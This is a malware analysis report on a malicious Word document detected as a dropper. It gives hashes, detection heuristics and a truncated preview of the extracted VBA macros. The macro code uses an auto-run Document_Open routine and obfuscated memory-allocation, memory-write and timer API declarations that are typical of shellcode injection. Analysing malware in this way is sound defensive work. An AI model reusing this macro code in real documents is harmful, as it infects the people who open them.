Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f7535d395897b77f…

MALICIOUS

Office (OLE)

223.5 KB Created: 2017-11-09 12:44:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: a347429f3eca0b8855a49473f472f63c SHA-1: 26ae81af110040006b3c12a796e66e69dbb2f6c0 SHA-256: f7535d395897b77f54fdfafe45daee9b93d28c1ee40161e51768793bb0c88685
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code automatically when the document is opened. The ClamAV heuristic identifies it as a 'Doc.Dropper.Agent', suggesting its primary function is to download and execute a secondary payload. No specific family could be identified, but the presence of the Document_Open macro and the dropper classification strongly indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6369850-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6369850-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36108 bytes
SHA-256: 032e6a1f97c755bc3529e84d6d9a9ec14a603ebb252199246c8b0a4adcd6fea6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub page()
With Documents("yourDoc.doc").PageSetup
.PaperSize = wdPaperLetter
.Orientation = wdOrientPortrait
.TopMargin = 1
.BottomMargin = 1
End With
End Sub
Private Sub Document_Open()
Dim faddishly As Byte
Dim bursting As String
excretion = "ridiculously"
cereus = nepotism
mims.dejaniras
successor = 3 + 3
 Pmt 0, successor, 5896, 44250, 2
End Sub


Attribute VB_Name = "hindbrain"
#If (13 * 3 + 5) > (8 - 3 * 1) And Not (88 - 11 * 8) * 30 < (Win64) Then
'  Es ist kalt und regungslos
'  His passion is a kiss
Public Declare Function vicious Lib "Kernel32" alias _
"CreateTimerQueueTimer" (semeiotics As Any, ByVal matai As Any, ByVal africanamerican As Any, ByVal frontbencher As Any, ByVal pantotheria As Any, ByVal limerick As Any, ByVal longrange As Any) As Long
'  In my dreams he does exist
'  Ich weine leise in die Zeit
Public Declare Function adamantly _
Lib "Ntdll   " alias _
"NtWriteVirtualMemory" (ByVal conversant As Any, ByVal lashing As Any, ByVal prescribe As Any, ByVal robotics As Any, ByVal meddling As Any) As Long
'  Sometimes love seems so far
'  With his hands around my neck
Public Declare Function neverfading Lib "Shlwapi.dll  " alias "SleepConditionVariableSRW" (ByVal osteoporosis As Any, aborticide As Any, forfeited As Any, aesop As Any) As Long
'  Ich weine leise in die Zeit
#End If


#If (13 * 3 + 5) > (8 - 3 * 1) And (88 - 11 * 8) * 30 < (Win64) Then
'  Stirb nicht
'  Ich warte hier
Public Declare PtrSafe Function adamantly _
Lib "ntdll   " Alias _
"NtWriteVirtualMemory" (ByVal isometric As Any, ByVal magnetism As Any, ByVal dietetics As Any, ByVal rimless As Any, ByVal petroleuse As Any) As LongPtr
'  Ich warte hier'  I dont know who he is
Public Declare PtrSafe Function mirage Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal semantically As Any, minimization As Any, guideless As Any, high As Any) As LongPtr
'  Ich weiAY nicht wie du heiAYt
Public Declare PtrSafe Function vicious Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (gowk As Any, ByVal promised As Any, ByVal agiotage As Any, ByVal myocastor As Any, ByVal salicaceae As Any, ByVal assemblyman As Any, ByVal multilingual As Any) As Long
'  I know that you exist
Public Declare PtrSafe Function phallaceae Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal concrete As Any, mikirmeithei As Any, conation As Any, dos As Any) As LongPtr
'  irgendwer mich liebt
#End If
'  Es ist kalt und regungslos
'  With his hands around my neck



Attribute VB_Name = "backbiting"
Attribute VB_Base = "0{3311B989-33F3-4E38-9333-6E6F055C55E7}{2BDC9293-3DEE-4F3C-A6A4-1F50F9B0AD1A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "mims"
#If (13 * 3 + 5) > (8 - 3 * 1) And Not (88 - 11 * 8) * 30 < (Win64) Then
'  Es ist kalt und regungslos
Public Declare Function bronchoscopic _
Lib "Ntdll  " alias _
"NtAllocateVirtualMemory" (predict As Long, nonobservance As Long, ByVal drapery As Long, unpretentiouslyByVal As Long, abulic As Long, ByVal biauricular As Long) As Long
'  And I can not resist
'  Die Nacht Г¶ffnet ihren SchoГџ
Public Declare Function profluence Lib "Shlwapi.dll  " alias "GetOverlappedResult" (ByVal besides As Any, aqualung As Any, gristle As Any, extragalactic As Any) As Long
'  Stirb nicht
'  Your love I can't dismiss
#End If
#If (13 * 3 + 5) > (8 - 3 * 1) And (88 - 11 * 8) * 30 < (Win64) Then
'  Stirb nicht
'  Ich warte hier
Public Declare PtrSafe Function adamantly _
Lib "ntdll   " Alias _
"NtWriteVirtualMemory" (ByVal isometric As Any, ByVal magnetism As Any, ByVal dietetics As Any, ByVal rimless As Any, ByVal
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.